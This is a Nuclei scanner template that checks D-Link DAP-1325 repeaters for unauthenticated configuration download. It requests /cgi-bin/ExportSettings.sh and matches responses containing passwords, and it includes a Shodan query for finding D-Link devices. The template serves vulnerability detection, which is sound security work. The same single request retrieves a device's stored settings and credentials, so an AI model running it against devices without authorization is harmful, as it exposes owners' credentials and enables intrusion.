id: dlink-config-dump

info:
  name: D-Link DAP-1325 - Information Disclosure
  author: gy741
  severity: critical
  description: |
    Security vulnerability known as Unauthenticated access to settings or Unauthenticated configuration download. This vulnerability occurs when a device, such as a repeater, allows the download of user settings without requiring proper authentication.
  reference:
    - https://www.exploit-db.com/exploits/51556
    - https://www.dropbox.com/s/eqz0ntlzqp5472l/DAP-1325.mp4?dl=0
  metadata:
    max-request: 1
    shodan-query: title:"D-LINK"
  tags: misconfig,config,dump,dlink,auth-bypass,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Password"
        case-insensitive: true

      - type: regex
        part: header
        regex:
          - 'filename="(.*)_Settings.dat'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210081d39bcc111624a53fa0286eb6d5a0e364216afa84f9ab7ca9d3c5fffea60b98022100b0f1c2852f9c62dcd55c503f95293ea50d3ad03ec80e5b3153d49a1e98bda26b:922c64590222798bb761d5b6d8e72950